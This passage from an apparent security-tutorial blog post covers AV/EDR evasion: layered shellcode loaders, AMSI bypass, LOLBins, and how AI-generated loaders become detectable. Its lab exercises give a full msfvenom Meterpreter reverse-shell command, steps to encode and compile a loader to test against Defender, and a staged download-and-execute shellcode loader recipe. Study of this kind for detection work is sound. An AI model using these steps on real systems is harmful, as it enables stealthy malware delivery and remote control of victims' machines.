ScriptBlockLogging in Group Policy get a complete record of
every PowerShell command executed on every machine.
The key insight from this defensive overview: evasion makes detection harder, not impossible. Encoding bypasses static signatures but the loader's behavior is detectable. Process injection hides your code inside a trusted process but the injection API calls generate ETW events. AMSI bypass lets your scripts run but the bypass attempt itself is logged. LOLBins avoid custom executable detection but their abuse patterns are well-documented.
The best evasion combines multiple techniques: AES-encrypted shellcode (bypasses static analysis), loaded through a .NET assembly (blends with enterprize software), injected into a legitimate process using indirect syscalls (avoids ntdll hooks), with C2 over HTTPS using a legitimate domain (passes network monitoring). Each layer addresses a different detection mechanism. No single technique is sufficient -- the combination is what works.
The AI Slop Connection
AI has lowered the barrier for payload generation. An attacker can ask an AI for "a C# shellcode loader with AES decryption and process injection" and get functional code. That code will likely evade basic signature detection because it is unique -- not in any signature database yet. But AI-generated evasion code has its own patterns.
AI consistently generates the same API call sequences in the same order. It uses the same variable naming conventions (shellcode, key, iv, exec_mem). It structures the loader in the same way: decrypt, allocate, copy, execute. As security vendors analyze more AI-generated payloads, these patterns become signatures themselves. An AV vendor training on thousands of AI-generated loaders will eventually detect "the way an AI writes shellcode loaders" as a heuristic category.
The real evasion expertise is in understanding WHY detection mechanisms work and designing approaches that the AI (and the vendors) have not seen. Novel encryption schemes, custom memory allocation patterns, unusual execution flow that does not match any known template. That requires understanding the detection system at a level deeper than "it checks for signatures" -- which is exactly what this episode is about.
The tools in this episode are intentionally transparent. You can read every line, understand every API call, and predict exactly what telemetry each technique generates. When your evasion gets caught (and it will -- every technique has a detection lifetime), you need to understand WHY it got caught so you can design the next iteration. If you are deploying AI-generated code you do not understand, you cannot adapt when it fails. And in this field, adapting when things fail is the entire game ;-)
Exercises
Exercise 1: Generate a standard Meterpreter reverse shell payload using msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f raw -o payload.bin. Check the raw payload against Windows Defender (copy to your Windows VM). Then XOR-encode it using the Python encoder from this episode, embed the encoded payload in the C loader, cross-compile with MinGW (x86_64-w64-mingw32-gcc loader.c -o loader.exe), and scan the compiled loader with Defender. Document the detection results before and after encoding. Does encoding alone evade Defender? If not, what detection layer caught it?
Exercise 2: Research 5 LOLBins from the LOLBAS project (https://lolbas-project.github.io/). For each binary, document: (a) the legitimate purpose, (b) how it can be abused for payload delivery or execution, (c) the exact command line for the abuse case, (d) a Sigma detection rule that catches the abuse while allowing legitimate use. Focus on binaries you would actually encounter in an enterprise environment. Save your analysis to ~/lab-notes/lolbin-analysis.md.
Exercise 3: Build a staged payload loader in Python that: (a) connects to a URL and downloads AES-encrypted shellcode, (b) decrypts the shellcode in memory using the key/IV embedded in the loader, (c) on Linux, uses ctypes and mmap to allocate executable memory and run the shellcode. Test the full chain in your lab: encoder script generates encrypted payload, you host it on a local web server (python3 -m http.server), the loader downloads and executes it. Then analyze your own creation: what network indicators would an EDR see? What host-based indicators? What behavioral detections would catch this? Write the full evasion analysis to ~/lab-notes/staged-loader-analysis.md.
Thanks for your contribution to the STEMsocial community. Feel free to join us on discord to get to know the rest of us!
Please consider delegating to the @stemsocial account (85% of the curation rewards are returned).
Consider setting @stemsocial as a beneficiary of this post's rewards if you would like to support the community and contribute to its mission of promoting science and education on Hive.